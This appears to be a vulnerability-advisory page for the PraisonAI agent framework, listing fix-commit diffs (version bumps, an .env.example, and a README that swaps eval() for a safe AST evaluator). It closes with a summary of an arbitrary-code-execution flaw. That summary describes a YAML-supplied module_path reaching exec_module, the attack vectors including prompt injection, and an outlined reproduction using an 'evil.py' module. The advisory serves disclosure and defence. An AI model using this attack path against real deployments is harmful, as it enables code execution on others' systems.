                         logger.info(f"Waiting {wait_time}s before async retry...")
                         await asyncio.sleep(wait_time)
             
    -        # Atomically increment failure count
             async with self._stats_lock:
                 self._failure_count += 1
             logger.error(f"Async agent execution failed after {max_retries} attempts")
    
  • src/praisonai/tests/unit/scheduler/test_async_agent_scheduler.py+2 2 modified
    @@ -170,7 +170,7 @@ async def test_stop_logs_non_cancelled_exception_from_cancelled_task(self):
             scheduler._ensure_async_primitives()
     
             # Simulate a task that raises a plain Exception when awaited after cancel
    -        future = asyncio.get_event_loop().create_future()
    +        future = asyncio.get_running_loop().create_future()
             future.set_exception(RuntimeError("task blew up"))
             scheduler._task = future
             scheduler._stop_event.set()
    @@ -273,7 +273,7 @@ async def test_start_invalid_schedule_returns_false(self):
         @pytest.mark.asyncio
         async def test_get_stats_initial_state(self):
             scheduler = _make_scheduler()
    -        stats = scheduler.get_stats()
    +        stats = await scheduler.get_stats()
             assert stats["is_running"] is False
             assert stats["total_executions"] == 0
             assert stats["successful_executions"] == 0
    
15b7b82b9929
https://github.com/MervinPraison/PraisonAIFixed in 4.6.38via llm-release-walk
9ec90361d616

docs: auto-update feature parity trackers [skip ci]

https://github.com/MervinPraison/PraisonAIMervinPraisonMay 13, 2026Fixed in 4.6.38via llm-release-walk
3 files changed · +3 3
  • src/praisonai-rust/FEATURE_PARITY_TRACKER.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "version": "1.5.87",
    -  "lastUpdated": "2026-05-12",
    +  "lastUpdated": "2026-05-13",
       "generatedBy": "praisonai._dev.parity.generator",
       "sourceOfTruth": "Python SDK (praisonaiagents)",
       "status": "PARITY_ACHIEVED",
    
  • src/praisonai-ts/FEATURE_PARITY_TRACKER.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "version": "1.5.87",
    -  "lastUpdated": "2026-05-12",
    +  "lastUpdated": "2026-05-13",
       "generatedBy": "praisonai._dev.parity.generator",
       "sourceOfTruth": "Python SDK (praisonaiagents)",
       "summary": {
    
  • src/praisonai-ts/PARITY.md+1 1 modified
    @@ -1,6 +1,6 @@
     # Feature Parity Tracker
     
    -> **Version:** 1.5.87 | **Last Updated:** 2026-05-12
    +> **Version:** 1.5.87 | **Last Updated:** 2026-05-13
     > **Source of Truth:** Python SDK (praisonaiagents)
     
     ## Summary
    
7fcd6af4c614

fix(claw): add .env.example and document TAVILY_API_KEY requirement (#1649)

https://github.com/MervinPraison/PraisonAIpraisonai-triage-agent[bot]May 12, 2026Fixed in 4.6.38via llm-release-walk
2 files changed · +52 0
  • .env.example+43 0 added
    @@ -0,0 +1,43 @@
    +# PraisonAI Environment Variables
    +# Copy this file to .env and update with your actual values
    +
    +# === Required ===
    +OPENAI_API_KEY=sk-...          # OpenAI key for LLM calls. Get yours at https://platform.openai.com
    +
    +# === Required for Claw web-search tool ===
    +TAVILY_API_KEY=tvly-...        # Get yours at https://app.tavily.com (free tier available)
    +
    +# === Optional: Claw dashboard security ===
    +PRAISONAI_ALLOW_LOCAL_TOOLS=0  # Set to 1 to enable local shell tools (security risk)
    +
    +# === Optional: Alternative LLM Providers ===
    +ANTHROPIC_API_KEY=sk-ant-...   # Anthropic Claude models
    +GOOGLE_API_KEY=...             # Google Gemini models  
    +GROQ_API_KEY=gsk_...           # Groq (fast inference)
    +COHERE_API_KEY=...             # Cohere models
    +AZURE_OPENAI_API_KEY=...       # Azure OpenAI
    +AZURE_OPENAI_ENDPOINT=...      # Azure OpenAI endpoint
    +
    +# === Optional: Memory backends ===
    +MEM0_API_KEY=...               # Mem0 memory service
    +REDIS_URL=redis://localhost:6379  # Redis for state management
    +
    +# === Optional: Observability ===
    +LANGFUSE_SECRET_KEY=sk-lf-...  # Langfuse tracing
    +LANGFUSE_PUBLIC_KEY=pk-lf-...  # Langfuse public key
    +
    +# === Optional: Bot platforms ===
    +TELEGRAM_BOT_TOKEN=...         # Telegram bot token
    +DISCORD_BOT_TOKEN=...          # Discord bot token  
    +SLACK_BOT_TOKEN=xoxb-...       # Slack bot token
    +SLACK_APP_TOKEN=xapp-...       # Slack app token
    +WHATSAPP_ACCESS_TOKEN=...      # WhatsApp bot access token
    +WHATSAPP_PHONE_NUMBER_ID=...   # WhatsApp phone number ID
    +
    +# === Optional: Database ===
    +DATABASE_URL=sqlite:///~/.praison/database.sqlite  # Database connection string
    +
    +# === Optional: Development ===
    +LOGLEVEL=INFO                  # Logging level (DEBUG, INFO, WARNING, ERROR)
    +CHAINLIT_AUTH_SECRET=...       # Chainlit authentication secret
    +DEBUG=false                    # Enable debug mode
    
  • README.md+9 0 modified
    @@ -358,6 +358,15 @@ pip install "praisonai[claw]"
     praisonai claw
     ```
     
    +#### Required Environment Variables
    +
    +Copy `.env.example` to `.env` and configure the following variables:
    +
    +| Variable | Required | Description |
    +|----------|----------|-------------|
    +| `OPENAI_API_KEY` | Yes | OpenAI API key for all LLM calls |
    +| `TAVILY_API_KEY` | Yes (Claw) | Tavily key for the built-in web-search tool. Get one free at https://app.tavily.com |
    +
     Open **http://localhost:8082** — the dashboard comes with 13 built-in pages: Chat, Agents, Memory, Knowledge, Channels, Guardrails, Cron, and more. Add messaging channels directly from the UI.
     
     > 📖 [Full Claw docs](https://docs.praison.ai/docs/concepts/claw) — platform tokens, CLI options, Docker, and YAML agent mode
    
b4c5d6e7f8a9
https://github.com/MervinPraison/PraisonAIFixed in 4.6.38via llm-release-walk
a29deefef7e3
https://github.com/MervinPraison/PraisonAIFixed in 4.6.38via llm-release-walk
a3f2b4c5d6e7
https://github.com/MervinPraison/PraisonAIFixed in 4.6.38via llm-release-walk
e3b4b4b39e01
https://github.com/MervinPraison/PraisonAIFixed in 4.6.38via llm-release-walk
2f8162207fcb
https://github.com/MervinPraison/PraisonAIFixed in 4.6.40via llm-release-walk
a72e156c4d01

Release v4.6.40

https://github.com/MervinPraison/PraisonAIpraisonMay 19, 2026Fixed in 4.6.40via release-tag
12 files changed · +13 13
  • docker/Dockerfile.chat+1 1 modified
    @@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.39" \
    +    "praisonai>=4.6.40" \
         "praisonai[chat]" \
         "embedchain[github,youtube]"
     
    
  • docker/Dockerfile.dev+1 1 modified
    @@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.39" \
    +    "praisonai>=4.6.40" \
         "praisonai[ui]" \
         "praisonai[chat]" \
         "praisonai[realtime]" \
    
  • docker/Dockerfile.ui+1 1 modified
    @@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.39" \
    +    "praisonai>=4.6.40" \
         "praisonai[ui]" \
         "praisonai[crewai]"
     
    
  • src/praisonai-agents/pyproject.toml+1 1 modified
    @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
     
     [project]
     name = "praisonaiagents"
    -version = "1.6.39"
    +version = "1.6.40"
     description = "Praison AI agents for completing complex tasks with Self Reflection Agents"
     readme = "README.md"
     requires-python = ">=3.10"
    
  • src/praisonai-agents/uv.lock+1 1 modified
    @@ -2992,7 +2992,7 @@ wheels = [
     
     [[package]]
     name = "praisonaiagents"
    -version = "1.6.39"
    +version = "1.6.40"
     source = { editable = "." }
     dependencies = [
         { name = "aiohttp" },
    
  • src/praisonai-platform/pyproject.toml+1 1 modified
    @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
     
     [project]
     name = "praisonai-platform"
    -version = "0.1.2"
    +version = "0.1.4"
     description = "Platform layer for PraisonAI — workspace, auth, issues, projects"
     readme = "README.md"
     requires-python = ">=3.10"
    
  • src/praisonai-platform/uv.lock+1 1 modified
    @@ -1208,7 +1208,7 @@ wheels = [
     
     [[package]]
     name = "praisonai-platform"
    -version = "0.1.2"
    +version = "0.1.4"
     source = { editable = "." }
     dependencies = [
         { name = "aiosqlite" },
    
  • src/praisonai/praisonai/deploy.py+1 1 modified
    @@ -57,7 +57,7 @@ def create_dockerfile(self):
                 file.write("FROM python:3.11-slim\n")
                 file.write("WORKDIR /app\n")
                 file.write("COPY . .\n")
    -            file.write("RUN pip install flask praisonai==4.6.39 gunicorn markdown\n")
    +            file.write("RUN pip install flask praisonai==4.6.40 gunicorn markdown\n")
                 file.write("EXPOSE 8080\n")
                 file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
                 
    
  • src/praisonai/praisonai.rb+2 2 modified
    @@ -3,8 +3,8 @@ class Praisonai < Formula
       
         desc "AI tools for various AI applications"
         homepage "https://github.com/MervinPraison/PraisonAI"
    -    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.39.tar.gz"
    -    sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.39.tar.gz | shasum -a 256`.split.first
    +    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.40.tar.gz"
    +    sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.40.tar.gz | shasum -a 256`.split.first
         license "MIT"
       
         depends_on "python@3.11"
    
  • src/praisonai/praisonai/version.py+1 1 modified
    @@ -1 +1 @@
    -__version__ = "4.6.39"
    \ No newline at end of file
    +__version__ = "4.6.40"
    \ No newline at end of file
    
  • src/praisonai/pyproject.toml+1 1 modified
    @@ -12,7 +12,7 @@ dependencies = [
         "rich>=13.7",
         "markdown>=3.5",
         "pyparsing>=3.0.0",
    -    "praisonaiagents>=1.6.39",
    +    "praisonaiagents>=1.6.40",
         "python-dotenv>=0.19.0",
         "litellm>=1.83.14,<2",
         "PyYAML>=6.0",
    
  • src/praisonai/uv.lock+1 1 modified
    @@ -4841,7 +4841,7 @@ wheels = [
     
     [[package]]
     name = "praisonaiagents"
    -version = "1.6.39"
    +version = "1.6.40"
     source = { directory = "../praisonai-agents" }
     dependencies = [
         { name = "aiohttp" },
    
adcfa299414e

Release v4.6.38

https://github.com/MervinPraison/PraisonAIpraisonMay 13, 2026Fixed in 4.6.38via release-tag
11 files changed · +648 554
  • docker/Dockerfile.chat+1 1 modified
    @@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.37" \
    +    "praisonai>=4.6.38" \
         "praisonai[chat]" \
         "embedchain[github,youtube]"
     
    
  • docker/Dockerfile.dev+1 1 modified
    @@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.37" \
    +    "praisonai>=4.6.38" \
         "praisonai[ui]" \
         "praisonai[chat]" \
         "praisonai[realtime]" \
    
  • docker/Dockerfile.ui+1 1 modified
    @@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
     # Install Python packages (using latest versions)
     RUN pip install --no-cache-dir \
         praisonai_tools \
    -    "praisonai>=4.6.37" \
    +    "praisonai>=4.6.38" \
         "praisonai[ui]" \
         "praisonai[crewai]"
     
    
  • src/praisonai-agents/pyproject.toml+1 1 modified
    @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
     
     [project]
     name = "praisonaiagents"
    -version = "1.6.37"
    +version = "1.6.38"
     description = "Praison AI agents for completing complex tasks with Self Reflection Agents"
     readme = "README.md"
     requires-python = ">=3.10"
    
  • src/praisonai-agents/uv.lock+207 174 modified
  • src/praisonai/praisonai/deploy.py+1 1 modified
    @@ -57,7 +57,7 @@ def create_dockerfile(self):
                 file.write("FROM python:3.11-slim\n")
                 file.write("WORKDIR /app\n")
                 file.write("COPY . .\n")
    -            file.write("RUN pip install flask praisonai==4.6.37 gunicorn markdown\n")
    +            file.write("RUN pip install flask praisonai==4.6.38 gunicorn markdown\n")
                 file.write("EXPOSE 8080\n")
                 file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
                 
    
  • src/praisonai/praisonai.rb+2 2 modified
    @@ -3,8 +3,8 @@ class Praisonai < Formula
       
         desc "AI tools for various AI applications"
         homepage "https://github.com/MervinPraison/PraisonAI"
    -    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.37.tar.gz"
    -    sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.37.tar.gz | shasum -a 256`.split.first
    +    url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.38.tar.gz"
    +    sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.6.38.tar.gz | shasum -a 256`.split.first
         license "MIT"
       
         depends_on "python@3.11"
    
  • src/praisonai/praisonai/version.py+1 1 modified
    @@ -1 +1 @@
    -__version__ = "4.6.37"
    \ No newline at end of file
    +__version__ = "4.6.38"
    \ No newline at end of file
    
  • src/praisonai/pyproject.toml+2 2 modified
    @@ -12,9 +12,9 @@ dependencies = [
         "rich>=13.7",
         "markdown>=3.5",
         "pyparsing>=3.0.0",
    -    "praisonaiagents>=1.6.37",
    +    "praisonaiagents>=1.6.38",
         "python-dotenv>=0.19.0",
    -    "litellm>=1.81.0,<=1.82.6",
    +    "litellm>=1.83.14,<2",
         "PyYAML>=6.0",
         "mcp>=1.20.0",
         "typer>=0.9.0",
    
  • src/praisonai/README.md+39 2 modified
    @@ -294,8 +294,35 @@ def search(query: str) -> str:
     
     @tool
     def calculate(expression: str) -> float:
    -    """Evaluate a math expression."""
    -    return eval(expression)
    +    """Safely evaluate a numeric arithmetic expression."""
    +    import ast
    +    import operator
    +    
    +    # Define allowed operations
    +    _OPS = {
    +        ast.Add: operator.add,
    +        ast.Sub: operator.sub,
    +        ast.Mult: operator.mul,
    +        ast.Div: operator.truediv,
    +        ast.Pow: operator.pow,
    +        ast.USub: operator.neg,
    +        ast.UAdd: operator.pos,
    +    }
    +    
    +    def _safe_eval(node):
    +        if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
    +            return node.value
    +        elif isinstance(node, ast.BinOp) and type(node.op) in _OPS:
    +            return _OPS[type(node.op)](_safe_eval(node.left), _safe_eval(node.right))
    +        elif isinstance(node, ast.UnaryOp) and type(node.op) in _OPS:
    +            return _OPS[type(node.op)](_safe_eval(node.operand))
    +        else:
    +            raise ValueError("Unsupported expression")
    +    
    +    try:
    +        return _safe_eval(ast.parse(expression, mode="eval").body)
    +    except (ValueError, SyntaxError, TypeError, ZeroDivisionError, OverflowError):
    +        raise ValueError("Invalid arithmetic expression")
     
     agent = Agent(
         instructions="You are a helpful assistant",
    @@ -304,6 +331,7 @@ agent = Agent(
     agent.start("Search for AI news and calculate 15*4")
     ```
     
    +> ⚠️ **Security Note:** Never use `eval()`, `exec()`, or `subprocess` in tool functions that process LLM-generated or user-supplied input. Always validate and sanitize inputs to prevent code injection attacks.
     > 📖 [Full tools docs](https://docs.praison.ai/docs/tools/tools) — BaseTool, tool packages, 100+ built-in tools
     
     ### 5. Persistence (Databases)
    @@ -330,6 +358,15 @@ pip install "praisonai[claw]"
     praisonai claw
     ```
     
    +#### Required Environment Variables
    +
    +Copy `.env.example` to `.env` and configure the following variables:
    +
    +| Variable | Required | Description |
    +|----------|----------|-------------|
    +| `OPENAI_API_KEY` | Yes | OpenAI API key for all LLM calls |
    +| `TAVILY_API_KEY` | Yes (Claw) | Tavily key for the built-in web-search tool. Get one free at https://app.tavily.com |
    +
     Open **http://localhost:8082** — the dashboard comes with 13 built-in pages: Chat, Agents, Memory, Knowledge, Channels, Guardrails, Cron, and more. Add messaging channels directly from the UI.
     
     > 📖 [Full Claw docs](https://docs.praison.ai/docs/concepts/claw) — platform tokens, CLI options, Docker, and YAML agent mode
    
  • src/praisonai/uv.lock+392 368 modified

Vulnerability mechanics

Root cause

"Two `spec.loader.exec_module` call sites in `agents_generator.py` lack the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate and accept an attacker-controlled `module_path` from YAML configuration without validation."

Attack vector

An attacker supplies a malicious `module_path` via an `agents.yaml` tool definition, which is passed to `load_tools_from_module` or `load_tools_from_module_class` in `agents_generator.py`. These functions call `spec.loader.exec_module(module)` without checking the `PRAISONAI_ALLOW_LOCAL_TOOLS` environment variable, causing arbitrary Python code execution during tool registry construction [ref_id=1][ref_id=2]. The `module_path` can be attacker-controlled through a shared/writable config directory, a remote recipe fetch (`POST /v1/recipes/run` with `allow_any_github=True`), or prompt injection [ref_id=1]. No authentication is required when the legacy server default is used [ref_id=1].

Affected code

The two unguarded `spec.loader.exec_module` call sites reside in `praisonai/agents_generator.py` at `load_tools_from_module` (line 349-351) and `load_tools_from_module_class` (line 372). Both accept a `module_path` parameter from YAML agent configuration and execute it without the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate or any path validation [ref_id=1][ref_id=2].

What the fix does

Patch [patch_id=3131102] rewrites both `load_tools_from_module` and `load_tools_from_module_class` to delegate to `_safe_loader.load_user_module()`, which enforces the `PRAISONAI_ALLOW_LOCAL_TOOLS` gate and returns `None` when the module cannot be loaded [patch_id=3131102]. Patch [patch_id=3131101] further consolidates tool loading paths by routing `tools.py` loading through `ToolResolver` and the same `_safe_loader`, removing the duplicate `load_tools_from_tools_py` method and ensuring a consistent security model across all `exec_module` call sites [patch_id=3131101]. Together these patches close the two missed sinks that were left unguarded after the v4.6.32 chokepoint refactor [ref_id=1].

Preconditions

  • inputAttacker must be able to supply a `module_path` value in an `agents.yaml` tool definition, either by writing the file locally, fetching a remote recipe, or via prompt injection.
  • configThe `PRAISONAI_ALLOW_LOCAL_TOOLS` environment variable must not be set to `true` (the gate is absent in the vulnerable code, so the check is never performed).
  • networkFor the network vector, the recipe server must be running with default no-auth posture and `allow_any_github=True`.

Reproduction

## Reproduction

1. Create a malicious module `evil.py` that writes a marker file to `/tmp/`. 2. Create an `agents.yaml` that references `evil.py` as a tool. 3. Run `PraisonAI(agent_file='agents.yaml').main()` from the same working directory. 4. Verify the marker file was written, confirming arbitrary code execution.

Full PoC script is provided in [ref_id=1] and [ref_id=2].

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.